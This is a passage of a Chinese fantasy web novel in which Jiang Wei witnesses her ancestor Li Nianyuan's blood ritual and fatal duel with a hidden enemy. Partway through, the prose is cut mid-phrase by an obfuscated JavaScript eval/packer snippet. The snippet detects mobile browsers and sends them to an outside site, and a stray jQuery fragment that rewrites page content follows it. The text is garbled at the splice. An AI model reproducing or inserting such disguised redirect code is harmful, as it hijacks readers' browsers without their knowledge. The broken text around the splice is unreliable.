姣丽妇人悲伤难抑。
一旁的老妇擦去了脸上的泪水,近前几步,“真君大人,他们似乎有特别的办法能找到姜家的子嗣,有几位小公子小小姐尚未修行,我们请村中几户人家认作子嗣带出走亲躲避,或藏在望麓山涧内,也都被找了出来...”
妇人神情枯槁,听着老妇的话,眼珠才微微转动,有了丝活人气,“应是如此,他们是始祖血脉,自然有法子被一个个找出来。”
她的手轻轻落在自己隆起的小腹上,慢慢闭上了眼。
姜未心中已经有了猜测,眼前的妇人或许就是她们这一脉传下巫道的那位老祖奶奶。此时就是族志上所载的,“家逢大变,逃难至大石村”的时候。
可姜家的仇家到底是谁?连大乘期的修士都能被杀害,对方还要使用秘法把姜家人一个不漏地找出来灭口,这得是什么样的仇怨?
姜未心间萦绕无数谜团,不及多想,眼前的景象再度变幻。
黑压压的天穹,日月遮蔽,让人一时分不清昼夜,银白的雷光奔腾在乌云间,轰隆作响。
姣丽妇人换上了一件暗紫色的长裙,黑色的丝线交错编织,垂下一颗颗宝石制成的铃铛,她的手上握着一根法杖,古朴的棕色,莹润生光,似乎是从一棵巨树上截下来的。
她抬头望望天,双手持杖跪坐在地上,莹莹幽光从她身上荡开,几息之后,大雨倾盆而下。
姣丽的妇人右手握住法杖,上身向后仰去,以一种奇妙的姿势缓缓站起,跳起了一支巫舞,她的血从每一个毛孔中渗出,点点滴滴漂浮在半空。
如注大雨中,无数的血珠铺满小院的半空,浮浮沉沉,凝聚成一个古怪符文,呼啸的狂风从血色间穿过,未带起半点波动,整个小院仿佛凝滞一般。
院落八方摆着八个小鼎,小鼎中不知来源的鲜血细流一般汇入符文。
鲜血交错翻滚,符文激荡,欲散欲聚,妇人见此又喷出一口精血,稳住了符文。
血色的阴影下,妇人慢慢仰倒在地,眉头轻轻蹙起,大约一刻,一个小小的婴孩呱呱坠地。
那孩子刚发出一声啼哭,满头白发的老妇便从一侧跑来抱起了他。
“带他走,他们不会再找到他了。”妇人站起身,脸色平淡,似乎刚才没有任何事发生。
老妇一刻也不迟疑,抱着孩子,捏碎了符咒离开。
从始至终,妇人都没有看过孩子一眼。
她服下了一颗黑色的丹丸,右手轻轻一挥,半空的血色如丝线般涌入她的身体。
下一刻,妇人的身影陡然消失。
姜未眼前一花,再次恢复视线时,已然离开了刚才的小院,来到了一片空旷石滩,眼前是那块巨大的石头。
它灰白嶙峋,不似八百年后那样黑黢黢圆润。
但姜未还是一眼认出了它。
妇人的身影也倏然出现在大石旁。
“黎念元,你非姜氏血脉,原本不必死。”
姜未循声望去,天边出现一团黑雾,她看不到来人的真容,不知是他未曾显形,还是这幻境无法显出他的真身。
这妇人,也就是姜未这一脉的老祖奶奶,名叫黎念元。
黎念元此时双瞳如两团黑漆漆的火,紫光幽幽的法杖悬在她身前,她的声音苍冷漠然,“你杀我夫君女儿,如此血海深仇,岂能不报。”
那团黑雾冷笑道:“你不过合道期,就算用了什么邪门歪道,还能强过你夫君的半步仙人境不成,你可知他在我手下也没走过三招。”
“那你怎么还不动手?”黎念元露出一个笑容,让她那张绮丽的脸明媚生光。
不等黑雾再说话,黎念元已然讽刺道:“你给旁人当狗,你主子赏了你一根骨头,可骨头再厉害,你也还是条狗,度不过天地劫,骨头你也吃不进肚里,现在你还有几分本事。”
姜未十分想看看那团黑雾现在的表情,可惜看不到,只有这短暂的沉默让姜未窥到几分对方的恼羞成怒。
“黎念元,你还不知道姜家得罪的是谁。”那团黑雾恶狠狠道。
黎念元的唇角微微勾起,“姜家世代只知斩妖除魔,得罪的无非是哪一路邪魔罢了。”
姜未心中默默地给老祖奶奶叫起了好,只可惜看不清那团黑雾的表情。
那团黑雾果然再次沉默了片刻,咬牙挤出了两个字:“放肆!”
刹时,一棵巨大的漆黑枯树在那团黑影的身后拔地而起,参天入云,无数枝桠如触手般遮蔽天地,形如鬼域。
姜未仰头望去,心中震撼难言。
这是,法象。
凡人修行之尽头,天地法象。
四野的花鸟草木寸寸飞灰,从那灰烬处长出无数的乌黑枝蔓,无穷无尽的枝桠将黎念元层层包裹,她纷飞的发丝飞速化为灰烬。
黎念元双目微闭,身上爬满的黑色枝蔓突地寸寸崩散,重新露出那张明丽的面庞。
一个高塔般的人偶娃娃在她身后显象,它八手八腿,手上拿着铃铛、巫杖、蛊虫、人偶等物。
随着它的嘴中吐出一个个晦涩的咒文,一只只乌紫色的虫豸从枝蔓间爬出,瞬息将它们啃噬殆尽。
无数的虫豸密密麻麻爬满了无边无际的枝蔓,那些枝蔓被吃尽再长出,那些虫豸化作飞灰再重新从枝蔓间钻出,它们势均力敌,谁也奈何不了谁。
霍然,那漆黑枯树亮起无数光华,枝蔓猛地向四方伸展蠕动,如千万支利剑展屏,天地间忽地像被泼上了绚烂的油彩,变得鲜艳浓烈。
黎念元的身体也被一丛又一丛各色的油彩覆盖,红的、黄的、绿的、蓝的,她像被嵌进一幅生动的画中,血肉飞快干瘪,变成一个薄薄的纸片,满头青丝化作缕缕银雪。
可不过瞬息,她的头发又飞速变得乌黑,血肉再度充盈。
高塔般的人偶娃娃同时举起了八只手臂,兀然睁开了双眼。
无穷无尽的枝蔓上也生出一只只眼睛,它们霍然睁开,同时看向那团黑雾。
那是一只只紫色的没有眼白的瞳孔。
那团黑雾陡然变淡了一些,恍惚间能看到一个身穿彩衣的男人,转瞬又被重新聚拢的黑雾遮挡。
幽紫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170792|179687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的光斑与鲜艳的枝蔓交错,时而色彩光华,时而漆黑黯淡,深紫的眼睛时睁时闭,两尊天地法象一时谁也奈何不得谁。
姜未的眼睛此时疼得发木,即使是幻境重现,高境界的斗法仍远远不是她所能承受的。两道血痕自眼角蜿蜒而下,强迫她闭上双眼。
良久,风静云止。
一道略显焦躁和虚弱的声音在半空响起,“我倒要看看你这禁术催生的法象能支撑多久。”
“你又能支撑多久?”女人的笑意里含着淡淡的嘲讽。
姜未擦干血泪,再度睁开了双眼。
那团黑雾猛地祭出一件灵器,宝光五色,无法直视。
姜未低骂一声,眼角再度溢出鲜血,她只好紧闭双目,耳边响起黎念元的低笑声,“你终于拿出来了,不怕反噬了?”
黑雾狰狞道:“在那之前,你先去死。”
黎念元却缓缓落回地上,笑道:“不必担心,你没机会再被反噬了。”
随着这句话落下,天际银芒乍现,长刀铮鸣,黎念元的右手浮现出若隐若现的红色纹路,握住了一把长刀刀柄。
姜未的后脊猛地一阵发热,奇特的共鸣响起,是斩无刀!
老祖奶奶不是姜氏血脉,她怎么拿得了斩无刀?
同样错愕的还有那团黑雾,“不可能,你怎么可能拿得起斩无刀!”
黎念元朗声大笑,她一步逼近那团黑雾,“用你的仙器来试试斩无的刀锋如何!”
“不可能!”嘴上虽然震惊怒喊,但那团黑雾已是甩出仙器转身就跑。
姜未莫名觉得这一幕有些眼熟,让她想起了那夜的三个妖尊。
仙器在斩无面前挡不住一合,登时化作齑粉。
“晚了。”黎念元的声音响在黑雾耳畔。
她的身体瞬间崩散成一片血色,包裹住了那团黑雾,两团黑漆漆如火的眼睛嵌在红色与黑色交织的雾气中。
那团黑雾像被掐住了脖子,断断续续地开口,“你…居然…敢…入魔…”
“那又如何,反正我们都会死。”黎念元的声音沧然却安定。
那团黑雾如果只是遇到了入魔的黎念元还是能打得过的,但黎念元手中还拿着那把斩无刀。
斩无刀,斩天下妖魔鬼怪。
魔气甫一浸染刀身,冷厉的银芒刹时亮起,将入魔的黎念元和被她包裹禁锢的黑雾一齐斩碎。
这种用法,姜未自己也用过,就是利用被动斩杀镜中鬼的时候。
黎念元一直都知道只靠自己是杀不死仇人的,她从头到尾都只是在诱骗敌人亮出最后底牌,趁他最不设防也最虚弱的时候依靠斩无刀完成必杀一击。
甚至连这最后一击都只是障眼法,所谓的复仇只是为了掩饰那场转命仪式,让姜家最后一点血脉,她刚刚出生的孩子能够不被发现。
眼前所有的景象消失,只有那块大石头立在她眼前,上面刻着一道深深的刀痕。
姜未心中突然涌现出一阵难以言喻的悲伤,不知是为八百年前家族的绝境,还是为老祖奶奶最后孤注一掷的绝望。